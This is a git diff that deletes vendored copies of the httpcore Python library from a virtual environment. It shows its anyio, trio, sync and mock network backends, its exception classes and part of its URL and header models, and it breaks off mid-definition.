a140095e1b8de022f321a41c0125e0e5febc0749..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_backends/anyio.py +++ /dev/null @@ -1,146 +0,0 @@ -from __future__ import annotations - -import ssl -import typing - -import anyio - -from .._exceptions import ( - ConnectError, - ConnectTimeout, - ReadError, - ReadTimeout, - WriteError, - WriteTimeout, - map_exceptions, -) -from .._utils import is_socket_readable -from .base import SOCKET_OPTION, AsyncNetworkBackend, AsyncNetworkStream - - -class AnyIOStream(AsyncNetworkStream): - def __init__(self, stream: anyio.abc.ByteStream) -> None: - self._stream = stream - - async def read(self, max_bytes: int, timeout: float | None = None) -> bytes: - exc_map = { - TimeoutError: ReadTimeout, - anyio.BrokenResourceError: ReadError, - anyio.ClosedResourceError: ReadError, - anyio.EndOfStream: ReadError, - } - with map_exceptions(exc_map): - with anyio.fail_after(timeout): - try: - return await self._stream.receive(max_bytes=max_bytes) - except anyio.EndOfStream: # pragma: nocover - return b"" - - async def write(self, buffer: bytes, timeout: float | None = None) -> None: - if not buffer: - return - - exc_map = { - TimeoutError: WriteTimeout, - anyio.BrokenResourceError: WriteError, - anyio.ClosedResourceError: WriteError, - } - with map_exceptions(exc_map): - with anyio.fail_after(timeout): - await self._stream.send(item=buffer) - - async def aclose(self) -> None: - await self._stream.aclose() - - async def start_tls( - self, - ssl_context: ssl.SSLContext, - server_hostname: str | None = None, - timeout: float | None = None, - ) -> AsyncNetworkStream: - exc_map = { - TimeoutError: ConnectTimeout, - anyio.BrokenResourceError: ConnectError, - anyio.EndOfStream: ConnectError, - ssl.SSLError: ConnectError, - } - with map_exceptions(exc_map): - try: - with anyio.fail_after(timeout): - ssl_stream = await anyio.streams.tls.TLSStream.wrap( - self._stream, - ssl_context=ssl_context, - hostname=server_hostname, - standard_compatible=False, - server_side=False, - ) - except Exception as exc: # pragma: nocover - await self.aclose() - raise exc - return AnyIOStream(ssl_stream) - - def get_extra_info(self, info: str) -> typing.Any: - if info == "ssl_object": - return self._stream.extra(anyio.streams.tls.TLSAttribute.ssl_object, None) - if info == "client_addr": - return self._stream.extra(anyio.abc.SocketAttribute.local_address, None) - if info == "server_addr": - return self._stream.extra(anyio.abc.SocketAttribute.remote_address, None) - if info == "socket": - return self._stream.extra(anyio.abc.SocketAttribute.raw_socket, None) - if info == "is_readable": - sock = self._stream.extra(anyio.abc.SocketAttribute.raw_socket, None) - return is_socket_readable(sock) - return None - - -class AnyIOBackend(AsyncNetworkBackend): - async def connect_tcp( - self, - host: str, - port: int, - timeout: float | None = None, - local_address: str | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> AsyncNetworkStream: # pragma: nocover - if socket_options is None: - socket_options = [] - exc_map = { - TimeoutError: ConnectTimeout, - OSError: ConnectError, - anyio.BrokenResourceError: ConnectError, - } - with map_exceptions(exc_map): - with anyio.fail_after(timeout): - stream: anyio.abc.ByteStream = await anyio.connect_tcp( - remote_host=host, - remote_port=port, - local_host=local_address, - ) - # By default TCP sockets opened in `asyncio` include TCP_NODELAY. - for option in socket_options: - stream._raw_socket.setsockopt(*option) # type: ignore[attr-defined] # pragma: no cover - return AnyIOStream(stream) - - async def connect_unix_socket( - self, - path: str, - timeout: float | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> AsyncNetworkStream: # pragma: nocover - if socket_options is None: - socket_options = [] - exc_map = { - TimeoutError: ConnectTimeout, - OSError: ConnectError, - anyio.BrokenResourceError: ConnectError, - } - with map_exceptions(exc_map): - with anyio.fail_after(timeout): - stream: anyio.abc.ByteStream = await anyio.connect_unix(path) - for option in socket_options: - stream._raw_socket.setsockopt(*option) # type: ignore[attr-defined] # pragma: no cover - return AnyIOStream(stream) - - async def sleep(self, seconds: float) -> None: - await anyio.sleep(seconds) # pragma: nocover diff --git a/venv/Lib/site-packages/httpcore/_backends/auto.py b/venv/Lib/site-packages/httpcore/_backends/auto.py deleted file mode 100644 index 49f0e698c97ad5623f376d8182675352e21c2c3c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_backends/auto.py +++ /dev/null @@ -1,52 +0,0 @@ -from __future__ import annotations - -import typing - -from .._synchronization import current_async_library -from .base import SOCKET_OPTION, AsyncNetworkBackend, AsyncNetworkStream - - -class AutoBackend(AsyncNetworkBackend): - async def _init_backend(self) -> None: - if not (hasattr(self, "_backend")): - backend = current_async_library() - if backend == "trio": - from .trio import TrioBackend - - self._backend: AsyncNetworkBackend = TrioBackend() - else: - from .anyio import AnyIOBackend - - self._backend = AnyIOBackend() - - async def connect_tcp( - self, - host: str, - port: int, - timeout: float | None = None, - local_address: str | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> AsyncNetworkStream: - await self._init_backend() - return await self._backend.connect_tcp( - host, - port, - timeout=timeout, - local_address=local_address, - socket_options=socket_options, - ) - - async def connect_unix_socket( - self, - path: str, - timeout: float | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> AsyncNetworkStream: # pragma: nocover - await self._init_backend() - return await self._backend.connect_unix_socket( - path, timeout=timeout, socket_options=socket_options - ) - - async def sleep(self, seconds: float) -> None: # pragma: nocover - await self._init_backend() - return await self._backend.sleep(seconds) diff --git a/venv/Lib/site-packages/httpcore/_backends/base.py b/venv/Lib/site-packages/httpcore/_backends/base.py deleted file mode 100644 index cf55c8b10eb543872550be863206fe2f760d0d8d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_backends/base.py +++ /dev/null @@ -1,101 +0,0 @@ -from __future__ import annotations - -import ssl -import time -import typing - -SOCKET_OPTION = typing.Union[ - typing.Tuple[int, int, int], - typing.Tuple[int, int, typing.Union[bytes, bytearray]], - typing.Tuple[int, int, None, int], -] - - -class NetworkStream: - def read(self, max_bytes: int, timeout: float | None = None) -> bytes: - raise NotImplementedError() # pragma: nocover - - def write(self, buffer: bytes, timeout: float | None = None) -> None: - raise NotImplementedError() # pragma: nocover - - def close(self) -> None: - raise NotImplementedError() # pragma: nocover - - def start_tls( - self, - ssl_context: ssl.SSLContext, - server_hostname: str | None = None, - timeout: float | None = None, - ) -> NetworkStream: - raise NotImplementedError() # pragma: nocover - - def get_extra_info(self, info: str) -> typing.Any: - return None # pragma: nocover - - -class NetworkBackend: - def connect_tcp( - self, - host: str, - port: int, - timeout: float | None = None, - local_address: str | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> NetworkStream: - raise NotImplementedError() # pragma: nocover - - def connect_unix_socket( - self, - path: str, - timeout: float | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> NetworkStream: - raise NotImplementedError() # pragma: nocover - - def sleep(self, seconds: float) -> None: - time.sleep(seconds) # pragma: nocover - - -class AsyncNetworkStream: - async def read(self, max_bytes: int, timeout: float | None = None) -> bytes: - raise NotImplementedError() # pragma: nocover - - async def write(self, buffer: bytes, timeout: float | None = None) -> None: - raise NotImplementedError() # pragma: nocover - - async def aclose(self) -> None: - raise NotImplementedError() # pragma: nocover - - async def start_tls( - self, - ssl_context: ssl.SSLContext, - server_hostname: str | None = None, - timeout: float | None = None, - ) -> AsyncNetworkStream: - raise NotImplementedError() # pragma: nocover - - def get_extra_info(self, info: str) -> typing.Any: - return None # pragma: nocover - - -class AsyncNetworkBackend: - async def connect_tcp( - self, - host: str, - port: int, - timeout: float | None = None, - local_address: str | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> AsyncNetworkStream: - raise NotImplementedError() # pragma: nocover - - async def connect_unix_socket( - self, - path: str, - timeout: float | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> AsyncNetworkStream: - raise NotImplementedError() # pragma: nocover - - async def sleep(self, seconds: float) -> None: - raise NotImplementedError() # pragma: nocover diff --git a/venv/Lib/site-packages/httpcore/_backends/mock.py b/venv/Lib/site-packages/httpcore/_backends/mock.py deleted file mode 100644 index 9b6edca03d4d4b34f355fd53e49d4b4c699c972c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_backends/mock.py +++ /dev/null @@ -1,143 +0,0 @@ -from __future__ import annotations - -import ssl -import typing - -from .._exceptions import ReadError -from .base import ( - SOCKET_OPTION, - AsyncNetworkBackend, - AsyncNetworkStream, - NetworkBackend, - NetworkStream, -) - - -class MockSSLObject: - def __init__(self, http2: bool): - self._http2 = http2 - - def selected_alpn_protocol(self) -> str: - return "h2" if self._http2 else "http/1.1" - - -class MockStream(NetworkStream): - def __init__(self, buffer: list[bytes], http2: bool = False) -> None: - self._buffer = buffer - self._http2 = http2 - self._closed = False - - def read(self, max_bytes: int, timeout: float | None = None) -> bytes: - if self._closed: - raise ReadError("Connection closed") - if not self._buffer: - return b"" - return self._buffer.pop(0) - - def write(self, buffer: bytes, timeout: float | None = None) -> None: - pass - - def close(self) -> None: - self._closed = True - - def start_tls( - self, - ssl_context: ssl.SSLContext, - server_hostname: str | None = None, - timeout: float | None = None, - ) -> NetworkStream: - return self - - def get_extra_info(self, info: str) -> typing.Any: - return MockSSLObject(http2=self._http2) if info == "ssl_object" else None - - def __repr__(self) -> str: - return "" - - -class MockBackend(NetworkBackend): - def __init__(self, buffer: list[bytes], http2: bool = False) -> None: - self._buffer = buffer - self._http2 = http2 - - def connect_tcp( - self, - host: str, - port: int, - timeout: float | None = None, - local_address: str | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> NetworkStream: - return MockStream(list(self._buffer), http2=self._http2) - - def connect_unix_socket( - self, - path: str, - timeout: float | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> NetworkStream: - return MockStream(list(self._buffer), http2=self._http2) - - def sleep(self, seconds: float) -> None: - pass - - -class AsyncMockStream(AsyncNetworkStream): - def __init__(self, buffer: list[bytes], http2: bool = False) -> None: - self._buffer = buffer - self._http2 = http2 - self._closed = False - - async def read(self, max_bytes: int, timeout: float | None = None) -> bytes: - if self._closed: - raise ReadError("Connection closed") - if not self._buffer: - return b"" - return self._buffer.pop(0) - - async def write(self, buffer: bytes, timeout: float | None = None) -> None: - pass - - async def aclose(self) -> None: - self._closed = True - - async def start_tls( - self, - ssl_context: ssl.SSLContext, - server_hostname: str | None = None, - timeout: float | None = None, - ) -> AsyncNetworkStream: - return self - - def get_extra_info(self, info: str) -> typing.Any: - return MockSSLObject(http2=self._http2) if info == "ssl_object" else None - - def __repr__(self) -> str: - return "" - - -class AsyncMockBackend(AsyncNetworkBackend): - def __init__(self, buffer: list[bytes], http2: bool = False) -> None: - self._buffer = buffer - self._http2 = http2 - - async def connect_tcp( - self, - host: str, - port: int, - timeout: float | None = None, - local_address: str | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> AsyncNetworkStream: - return AsyncMockStream(list(self._buffer), http2=self._http2) - - async def connect_unix_socket( - self, - path: str, - timeout: float | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> AsyncNetworkStream: - return AsyncMockStream(list(self._buffer), http2=self._http2) - - async def sleep(self, seconds: float) -> None: - pass diff --git a/venv/Lib/site-packages/httpcore/_backends/sync.py b/venv/Lib/site-packages/httpcore/_backends/sync.py deleted file mode 100644 index 4018a09c6fb1e0ef1b03ab8d84b13ebef4031f7c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_backends/sync.py +++ /dev/null @@ -1,241 +0,0 @@ -from __future__ import annotations - -import functools -import socket -import ssl -import sys -import typing - -from .._exceptions import ( - ConnectError, - ConnectTimeout, - ExceptionMapping, - ReadError, - ReadTimeout, - WriteError, - WriteTimeout, - map_exceptions, -) -from .._utils import is_socket_readable -from .base import SOCKET_OPTION, NetworkBackend, NetworkStream - - -class TLSinTLSStream(NetworkStream): # pragma: no cover - """ - Because the standard `SSLContext.wrap_socket` method does - not work for `SSLSocket` objects, we need this class - to implement TLS stream using an underlying `SSLObject` - instance in order to support TLS on top of TLS. - """ - - # Defined in RFC 8449 - TLS_RECORD_SIZE = 16384 - - def __init__( - self, - sock: socket.socket, - ssl_context: ssl.SSLContext, - server_hostname: str | None = None, - timeout: float | None = None, - ): - self._sock = sock - self._incoming = ssl.MemoryBIO() - self._outgoing = ssl.MemoryBIO() - - self.ssl_obj = ssl_context.wrap_bio( - incoming=self._incoming, - outgoing=self._outgoing, - server_hostname=server_hostname, - ) - - self._sock.settimeout(timeout) - self._perform_io(self.ssl_obj.do_handshake) - - def _perform_io( - self, - func: typing.Callable[..., typing.Any], - ) -> typing.Any: - ret = None - - while True: - errno = None - try: - ret = func() - except (ssl.SSLWantReadError, ssl.SSLWantWriteError) as e: - errno = e.errno - - self._sock.sendall(self._outgoing.read()) - - if errno == ssl.SSL_ERROR_WANT_READ: - buf = self._sock.recv(self.TLS_RECORD_SIZE) - - if buf: - self._incoming.write(buf) - else: - self._incoming.write_eof() - if errno is None: - return ret - - def read(self, max_bytes: int, timeout: float | None = None) -> bytes: - exc_map: ExceptionMapping = {socket.timeout: ReadTimeout, OSError: ReadError} - with map_exceptions(exc_map): - self._sock.settimeout(timeout) - return typing.cast( - bytes, self._perform_io(functools.partial(self.ssl_obj.read, max_bytes)) - ) - - def write(self, buffer: bytes, timeout: float | None = None) -> None: - exc_map: ExceptionMapping = {socket.timeout: WriteTimeout, OSError: WriteError} - with map_exceptions(exc_map): - self._sock.settimeout(timeout) - while buffer: - nsent = self._perform_io(functools.partial(self.ssl_obj.write, buffer)) - buffer = buffer[nsent:] - - def close(self) -> None: - self._sock.close() - - def start_tls( - self, - ssl_context: ssl.SSLContext, - server_hostname: str | None = None, - timeout: float | None = None, - ) -> NetworkStream: - raise NotImplementedError() - - def get_extra_info(self, info: str) -> typing.Any: - if info == "ssl_object": - return self.ssl_obj - if info == "client_addr": - return self._sock.getsockname() - if info == "server_addr": - return self._sock.getpeername() - if info == "socket": - return self._sock - if info == "is_readable": - return is_socket_readable(self._sock) - return None - - -class SyncStream(NetworkStream): - def __init__(self, sock: socket.socket) -> None: - self._sock = sock - - def read(self, max_bytes: int, timeout: float | None = None) -> bytes: - exc_map: ExceptionMapping = {socket.timeout: ReadTimeout, OSError: ReadError} - with map_exceptions(exc_map): - self._sock.settimeout(timeout) - return self._sock.recv(max_bytes) - - def write(self, buffer: bytes, timeout: float | None = None) -> None: - if not buffer: - return - - exc_map: ExceptionMapping = {socket.timeout: WriteTimeout, OSError: WriteError} - with map_exceptions(exc_map): - while buffer: - self._sock.settimeout(timeout) - n = self._sock.send(buffer) - buffer = buffer[n:] - - def close(self) -> None: - self._sock.close() - - def start_tls( - self, - ssl_context: ssl.SSLContext, - server_hostname: str | None = None, - timeout: float | None = None, - ) -> NetworkStream: - exc_map: ExceptionMapping = { - socket.timeout: ConnectTimeout, - OSError: ConnectError, - } - with map_exceptions(exc_map): - try: - if isinstance(self._sock, ssl.SSLSocket): # pragma: no cover - # If the underlying socket has already been upgraded - # to the TLS layer (i.e. is an instance of SSLSocket), - # we need some additional smarts to support TLS-in-TLS. - return TLSinTLSStream( - self._sock, ssl_context, server_hostname, timeout - ) - else: - self._sock.settimeout(timeout) - sock = ssl_context.wrap_socket( - self._sock, server_hostname=server_hostname - ) - except Exception as exc: # pragma: nocover - self.close() - raise exc - return SyncStream(sock) - - def get_extra_info(self, info: str) -> typing.Any: - if info == "ssl_object" and isinstance(self._sock, ssl.SSLSocket): - return self._sock._sslobj # type: ignore - if info == "client_addr": - return self._sock.getsockname() - if info == "server_addr": - return self._sock.getpeername() - if info == "socket": - return self._sock - if info == "is_readable": - return is_socket_readable(self._sock) - return None - - -class SyncBackend(NetworkBackend): - def connect_tcp( - self, - host: str, - port: int, - timeout: float | None = None, - local_address: str | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> NetworkStream: - # Note that we automatically include `TCP_NODELAY` - # in addition to any other custom socket options. - if socket_options is None: - socket_options = [] # pragma: no cover - address = (host, port) - source_address = None if local_address is None else (local_address, 0) - exc_map: ExceptionMapping = { - socket.timeout: ConnectTimeout, - OSError: ConnectError, - } - - with map_exceptions(exc_map): - sock = socket.create_connection( - address, - timeout, - source_address=source_address, - ) - for option in socket_options: - sock.setsockopt(*option) # pragma: no cover - sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) - return SyncStream(sock) - - def connect_unix_socket( - self, - path: str, - timeout: float | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> NetworkStream: # pragma: nocover - if sys.platform == "win32": - raise RuntimeError( - "Attempted to connect to a UNIX socket on a Windows system." - ) - if socket_options is None: - socket_options = [] - - exc_map: ExceptionMapping = { - socket.timeout: ConnectTimeout, - OSError: ConnectError, - } - with map_exceptions(exc_map): - sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) - for option in socket_options: - sock.setsockopt(*option) - sock.settimeout(timeout) - sock.connect(path) - return SyncStream(sock) diff --git a/venv/Lib/site-packages/httpcore/_backends/trio.py b/venv/Lib/site-packages/httpcore/_backends/trio.py deleted file mode 100644 index 6f53f5f2a025e01e9949e2530bd9ca6928859251..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_backends/trio.py +++ /dev/null @@ -1,159 +0,0 @@ -from __future__ import annotations - -import ssl -import typing - -import trio - -from .._exceptions import ( - ConnectError, - ConnectTimeout, - ExceptionMapping, - ReadError, - ReadTimeout, - WriteError, - WriteTimeout, - map_exceptions, -) -from .base import SOCKET_OPTION, AsyncNetworkBackend, AsyncNetworkStream - - -class TrioStream(AsyncNetworkStream): - def __init__(self, stream: trio.abc.Stream) -> None: - self._stream = stream - - async def read(self, max_bytes: int, timeout: float | None = None) -> bytes: - timeout_or_inf = float("inf") if timeout is None else timeout - exc_map: ExceptionMapping = { - trio.TooSlowError: ReadTimeout, - trio.BrokenResourceError: ReadError, - trio.ClosedResourceError: ReadError, - } - with map_exceptions(exc_map): - with trio.fail_after(timeout_or_inf): - data: bytes = await self._stream.receive_some(max_bytes=max_bytes) - return data - - async def write(self, buffer: bytes, timeout: float | None = None) -> None: - if not buffer: - return - - timeout_or_inf = float("inf") if timeout is None else timeout - exc_map: ExceptionMapping = { - trio.TooSlowError: WriteTimeout, - trio.BrokenResourceError: WriteError, - trio.ClosedResourceError: WriteError, - } - with map_exceptions(exc_map): - with trio.fail_after(timeout_or_inf): - await self._stream.send_all(data=buffer) - - async def aclose(self) -> None: - await self._stream.aclose() - - async def start_tls( - self, - ssl_context: ssl.SSLContext, - server_hostname: str | None = None, - timeout: float | None = None, - ) -> AsyncNetworkStream: - timeout_or_inf = float("inf") if timeout is None else timeout - exc_map: ExceptionMapping = { - trio.TooSlowError: ConnectTimeout, - trio.BrokenResourceError: ConnectError, - } - ssl_stream = trio.SSLStream( - self._stream, - ssl_context=ssl_context, - server_hostname=server_hostname, - https_compatible=True, - server_side=False, - ) - with map_exceptions(exc_map): - try: - with trio.fail_after(timeout_or_inf): - await ssl_stream.do_handshake() - except Exception as exc: # pragma: nocover - await self.aclose() - raise exc - return TrioStream(ssl_stream) - - def get_extra_info(self, info: str) -> typing.Any: - if info == "ssl_object" and isinstance(self._stream, trio.SSLStream): - # Type checkers cannot see `_ssl_object` attribute because trio._ssl.SSLStream uses __getattr__/__setattr__. - # Tracked at https://github.com/python-trio/trio/issues/542 - return self._stream._ssl_object # type: ignore[attr-defined] - if info == "client_addr": - return self._get_socket_stream().socket.getsockname() - if info == "server_addr": - return self._get_socket_stream().socket.getpeername() - if info == "socket": - stream = self._stream - while isinstance(stream, trio.SSLStream): - stream = stream.transport_stream - assert isinstance(stream, trio.SocketStream) - return stream.socket - if info == "is_readable": - socket = self.get_extra_info("socket") - return socket.is_readable() - return None - - def _get_socket_stream(self) -> trio.SocketStream: - stream = self._stream - while isinstance(stream, trio.SSLStream): - stream = stream.transport_stream - assert isinstance(stream, trio.SocketStream) - return stream - - -class TrioBackend(AsyncNetworkBackend): - async def connect_tcp( - self, - host: str, - port: int, - timeout: float | None = None, - local_address: str | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> AsyncNetworkStream: - # By default for TCP sockets, trio enables TCP_NODELAY. - # https://trio.readthedocs.io/en/stable/reference-io.html#trio.SocketStream - if socket_options is None: - socket_options = [] # pragma: no cover - timeout_or_inf = float("inf") if timeout is None else timeout - exc_map: ExceptionMapping = { - trio.TooSlowError: ConnectTimeout, - trio.BrokenResourceError: ConnectError, - OSError: ConnectError, - } - with map_exceptions(exc_map): - with trio.fail_after(timeout_or_inf): - stream: trio.abc.Stream = await trio.open_tcp_stream( - host=host, port=port, local_address=local_address - ) - for option in socket_options: - stream.setsockopt(*option) # type: ignore[attr-defined] # pragma: no cover - return TrioStream(stream) - - async def connect_unix_socket( - self, - path: str, - timeout: float | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> AsyncNetworkStream: # pragma: nocover - if socket_options is None: - socket_options = [] - timeout_or_inf = float("inf") if timeout is None else timeout - exc_map: ExceptionMapping = { - trio.TooSlowError: ConnectTimeout, - trio.BrokenResourceError: ConnectError, - OSError: ConnectError, - } - with map_exceptions(exc_map): - with trio.fail_after(timeout_or_inf): - stream: trio.abc.Stream = await trio.open_unix_socket(path) - for option in socket_options: - stream.setsockopt(*option) # type: ignore[attr-defined] # pragma: no cover - return TrioStream(stream) - - async def sleep(self, seconds: float) -> None: - await trio.sleep(seconds) # pragma: nocover diff --git a/venv/Lib/site-packages/httpcore/_exceptions.py b/venv/Lib/site-packages/httpcore/_exceptions.py deleted file mode 100644 index bc28d44f55bdc4b872951a74780469a3999d9ab4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_exceptions.py +++ /dev/null @@ -1,81 +0,0 @@ -import contextlib -import typing - -ExceptionMapping = typing.Mapping[typing.Type[Exception], typing.Type[Exception]] - - -@contextlib.contextmanager -def map_exceptions(map: ExceptionMapping) -> typing.Iterator[None]: - try: - yield - except Exception as exc: # noqa: PIE786 - for from_exc, to_exc in map.items(): - if isinstance(exc, from_exc): - raise to_exc(exc) from exc - raise # pragma: nocover - - -class ConnectionNotAvailable(Exception): - pass - - -class ProxyError(Exception): - pass - - -class UnsupportedProtocol(Exception): - pass - - -class ProtocolError(Exception): - pass - - -class RemoteProtocolError(ProtocolError): - pass - - -class LocalProtocolError(ProtocolError): - pass - - -# Timeout errors - - -class TimeoutException(Exception): - pass - - -class PoolTimeout(TimeoutException): - pass - - -class ConnectTimeout(TimeoutException): - pass - - -class ReadTimeout(TimeoutException): - pass - - -class WriteTimeout(TimeoutException): - pass - - -# Network errors - - -class NetworkError(Exception): - pass - - -class ConnectError(NetworkError): - pass - - -class ReadError(NetworkError): - pass - - -class WriteError(NetworkError): - pass diff --git a/venv/Lib/site-packages/httpcore/_models.py b/venv/Lib/site-packages/httpcore/_models.py deleted file mode 100644 index 8a65f13347d6621289a166d08123cbc8e1ad0157..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_models.py +++ /dev/null @@ -1,516 +0,0 @@ -from __future__ import annotations - -import base64 -import ssl -import typing -import urllib.parse - -# Functions for typechecking... - - -ByteOrStr = typing.Union[bytes, str] -HeadersAsSequence = typing.Sequence[typing.Tuple[ByteOrStr, ByteOrStr]] -HeadersAsMapping = typing.Mapping[ByteOrStr, ByteOrStr] -HeaderTypes = typing.Union[HeadersAsSequence, HeadersAsMapping, None] - -Extensions = typing.MutableMapping[str, typing.Any] - - -def enforce_bytes(value: bytes | str, *, name: str) -> bytes: - """ - Any arguments that are ultimately represented as bytes can be specified - either as bytes or as strings. - - However we enforce that any string arguments must only contain characters in - the plain ASCII range. chr(0)...chr(127). If you need to use characters - outside that range then be precise, and use a byte-wise argument. - """ - if isinstance(value, str): - try: - return value.encode("ascii") - except UnicodeEncodeError: - raise TypeError(f"{name} strings may not include unicode characters.") - elif isinstance(value, bytes): - return value - - seen_type = type(value).__name__ - raise TypeError(f"{name} must be bytes or str, but got {seen_type}.") - - -def enforce_url(value: URL | bytes | str, *, name: str) -> URL: - """ - Type check for URL parameters. - """ - if isinstance(value, (bytes, str)): - return URL(value) - elif isinstance(value, URL): - return value - - seen_type = type(value).__name__ - raise TypeError(f"{name} must be a URL, bytes, or str, but got {seen_type}.") - - -def enforce_headers( - value: HeadersAsMapping | HeadersAsSequence | None = None, *, name: str -) -> list[tuple[bytes, bytes]]: - """ - Convienence function that ensure all items in request or response headers - are either bytes or strings in the plain ASCII range. - """ - if value is None: - return [] - elif isinstance(value, typing.Mapping): - return [ - ( - enforce_bytes(k, name="header name"), - enforce_bytes(v, name="header value"), - ) - for k, v in value.items() - ] - elif isinstance(value, typing.Sequence): - return [ - ( - enforce_bytes(k, name="header name"), - enforce_bytes(v, name="header value"), - ) - for k, v in value - ] - - seen_type = type(value).__name__ - raise TypeError( - f"{name} must be a mapping or sequence of two-tuples, but got {seen_type}." - ) - - -def enforce_stream( - value: bytes | typing.Iterable[bytes] | typing.AsyncIterable[bytes] | None, - *, - name: str, -) -> typing.Iterable[bytes] | typing.AsyncIterable[bytes]: - if value is None: - return ByteStream(b"") - elif isinstance(value, bytes): - return ByteStream(value) - return value - - -# * https://tools.ietf.org/html/rfc3986#section-3.2.3 -# * https://url.spec.whatwg.org/#url-miscellaneous -# * https://url.spec.whatwg.org/#scheme-state -DEFAULT_PORTS = { - b"ftp": 21, - b"http": 80, - b"https": 443, - b"ws": 80, - b"wss": 443, -} - - -def include_request_headers( - headers: list[tuple[bytes, bytes]], - *, - url: "URL", - content: None | bytes | typing.Iterable[bytes] | typing.AsyncIterable[bytes], -) -> list[tuple[bytes, bytes]]: - headers_set = set(k.lower() for k, v in headers) - - if b"host" not in headers_set: - default_port = DEFAULT_PORTS.get(url.scheme) - if url.port is None or url.port == default_port: - header_value = url.host - else: - header_value = b"%b:%d" % (url.host, url.port) - headers = [(b"Host", header_value)] + headers - - if ( - content is not None - and b"content-length" not in headers_set - and b"transfer-encoding" not in headers_set - ): - if isinstance(content, bytes): - content_length = str(len(content)).encode("ascii") - headers += [(b"Content-Length", content_length)] - else: - headers += [(b"Transfer-Encoding", b"chunked")] # pragma: nocover - - return headers - - -# Interfaces for byte streams... - - -class ByteStream: - """ - A container for non-streaming content, and that supports both sync and async - stream iteration. - """ - - def __init__(self, content: bytes) -> None: - self._content = content - - def __iter__(self) -> typing.Iterator[bytes]: - yield self._content - - async def __aiter__(self) -> typing.AsyncIterator[bytes]: - yield self._content - - def __repr__(self) -> str: - return f"<{self.__class__.__name__} [{len(self._content)} bytes]>" - - -class Origin: - def __init__(self, scheme: bytes, host: bytes, port: int) -> None: - self.scheme = scheme - self.host = host - self.port = port - - def __eq__(self, other: typing.Any) -> bool: - return ( - isinstance(other, Origin) - and self.scheme == other.scheme - and self.host == other.host - and self.port == other.port - ) - - def __str__(self) -> str: - scheme = self.scheme.decode("ascii") - host = self.host.decode("ascii") - port = str(self.port) - return f"{scheme}://{host}:{port}" - - -class URL: - """ - Represents the URL against which an HTTP request may be made. - - The URL may either be specified as a plain string, for convienence: - - ```python - url = httpcore.URL("https://www.example.com/") - ``` - - Or be constructed with explicitily pre-parsed components: - - ```python - url = httpcore.URL(scheme=b'https', host=b'www.example.com', port=None, target=b'/') - ``` - - Using this second more explicit style allows integrations that are using - `httpcore` to pass through URLs that have already been parsed in order to use - libraries such as `rfc-3986` rather than relying on the stdlib. It also ensures - that URL parsing is treated identically at both the networking level and at any - higher layers of abstraction. - - The four components are important here, as they allow the URL to be precisely - specified in a pre-parsed format. They also allow certain types of request to - be created that could not otherwise be expressed. - - For example, an HTTP request to `http://www.example.com/` forwarded via a proxy - at `http://localhost:8080`... - - ```python - # Constructs an HTTP request with a complete URL as the target: - # GET https://www.example.com/ HTTP/1.1 - url = httpcore.URL( - scheme=b'http', - host=b'localhost', - port=8080, - target=b'https://www.example.com/' - ) - request = httpcore.Request( - method="GET", - url=url - ) - ``` - - Another example is constructing an `OPTIONS *` request... - - ```python - # Constructs an 'OPTIONS *' HTTP request: - # OPTIONS * HTTP/1.1 - url = httpcore.URL(scheme=b'https', host=b'www.example.com', target=b'*') - request = httpcore.Request(method="OPTIONS", url=url) - ``` - - This kind of request is not possible to formulate with a URL string, - because the `/` delimiter is always used to demark the target from the - host/port portion of the URL. - - For convenience, string-like arguments may be specified either as strings or - as bytes. However, once a request is being issue over-the-wire, the URL - components are always ultimately required to be a bytewise representation. - - In order to avoid any ambiguity over character encodings, when strings are used - as arguments, they must be strictly limited to the ASCII range `chr(0)`-`chr(127)`. - If you require a bytewise representation that is outside this range you must - handle the character encoding directly, and pass a bytes instance. - """ - - def __init__( - self, - url: bytes | str = "", - *, - scheme: bytes | str = b"", - host: bytes | str = b"", - port: int | None = None, - target: bytes | str = b"", - ) -> None: - """ - Parameters: - url: The complete URL as a string or bytes. - scheme: The URL scheme as a string or bytes. - Typically either `"http"` or `"https"`. - host: The URL host as a string or bytes. Such as `"www.example.com"`. - port: The port to connect to. Either an integer or `None`. - target: The target of the HTTP request. Such as `"/items?search=red"`. - """ - if url: - parsed = urllib.parse.urlparse(enforce_bytes(url, name="url")) - self.scheme = parsed.scheme - self.host = parsed.hostname or b"" - self.port = parsed.port - self.target = (parsed.path or b"/") + ( - b"?" + parsed.query if parsed.query else b"" - ) - else: - self.scheme = enforce_bytes(scheme, name="scheme") - self.host = enforce_bytes(host, name="host") - self.port = port - self.target = enforce_bytes(target, name="target") - - @property - def origin(self) -> Origin: - default_port = { - b"http": 80, - b"https": 443, - b"ws": 80, - b"wss": 443, - b"socks5": 1080, - b"socks5h": 1080, - }[self.scheme] - return Origin( - scheme=self.scheme, host=self.host, port=self.port or default_port - ) - - def __eq__(self, other: typing.Any) 